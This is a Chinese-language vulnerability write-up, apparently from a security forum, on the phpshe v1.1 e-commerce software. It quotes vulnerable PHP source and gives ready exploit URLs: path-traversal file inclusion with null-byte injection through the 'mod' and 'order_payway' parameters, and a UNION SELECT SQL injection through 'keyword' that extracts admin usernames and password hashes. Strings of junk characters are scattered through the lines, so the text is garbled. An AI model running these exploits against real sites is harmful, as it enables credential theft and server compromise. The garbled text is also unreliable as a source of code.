phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
+ B1 t' c* N: m- D2 e/* By: : Kn1f3
( V+ y3 \4 T  Y9 w' x4 y; ?; F( e, y8 d/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


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* }  c; ~4 j- M( ]. a7 ^8 j3 Y//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
) Q2 I0 N) b; ~6 J+ l! o!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
. |# s1 `& n0 e}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
1 ^2 k- I/ m- H; b" i0 N4 ~!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
6 A7 r8 k. _( I' S; T9 o}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
4 c& U3 m* g, |!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

# @, P8 \& X* t9 C) }! ?0×01 包含漏洞

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//首页文件
. m  Z0 x8 h# d1 y0 S: n; k<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
; A. k/ y' r1 e1 O1 i" z?>
//common 文件 第15行开始
# f! ~2 z- P' o- t( F' q1 ~8 gurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
% i0 U1 D% e6 f/ D$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0 b! Q1 F; d, p 0×02 搜索注入

<code id="code2">

//product.php文件
* n# F+ s0 l2 ]case 'list':
/ R' n% H2 J* j6 @! B$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
3 V4 p* d! p% E1 {* K% Y, Q. O//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
" c9 y7 Q1 h7 K# \* Q! k0 H# N$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
6 V. ^( ~2 N! ~# x$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
4 O6 ^1 I. e& T+ r- o7 \) N6 welse {
9 \& s' Y; I! k) i7 b$ R: }$sqlwhere .= " order by `product_id` desc";
0 D% n1 h+ U. l/ h}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
! G/ U- B+ A' f5 T6 U2 A//热卖排行
$product_hotlist = product_hotlist();
3 @0 o; x3 B$ U//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
, W2 _( j! b8 G) g& ?) \include(pe_tpl('product_list.html'));
//跟进selectall函数库
7 @  t, l  b) @public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
% B0 S* W4 \$ d9 }- c+ H$sqlwhere = $this->_dowhere($where);
# _4 R4 b5 [; |! _return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
8 ~: r7 e( l( r, Z' e: k: }}
2 f2 @; u8 }  X1 e6 y6 P. h2 B/ S//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
. p! f, u: R  c) m6 @

</code>
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  F' B% {# j( u4 @0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

; D, l3 z  R' ]foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

& I5 ?8 n8 s8 o7 z" j4 r  _if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 K, B! @% N5 B! W}

/ j) z$ B! E3 B1 w+ k" c' x7 C+ t}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

' A% p3 p. P9 n3 ?2 c!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

, q  e" N' ?( f- R0 X/ q$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

" S& |: w2 R- ?# N: h1 q! ^$order['order_name'] .= "{$v['product_name']};";
1 a- |) M; B( W# ?9 U1 s

$ M: @5 @, m% K: K9 Q" q}

echo '正在为您连接支付网站，请稍后...';

+ f) k7 y) |0 a. Hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

& @' E% Z2 q9 U}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

. M# ]& W3 `. J/ l6 t3 u* Hpe_error('支付错误...');

}

# H& f9 y8 K) P0 {  |3 |3 |}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

' ]0 p. C# ]. N2 U. X, U$ Bbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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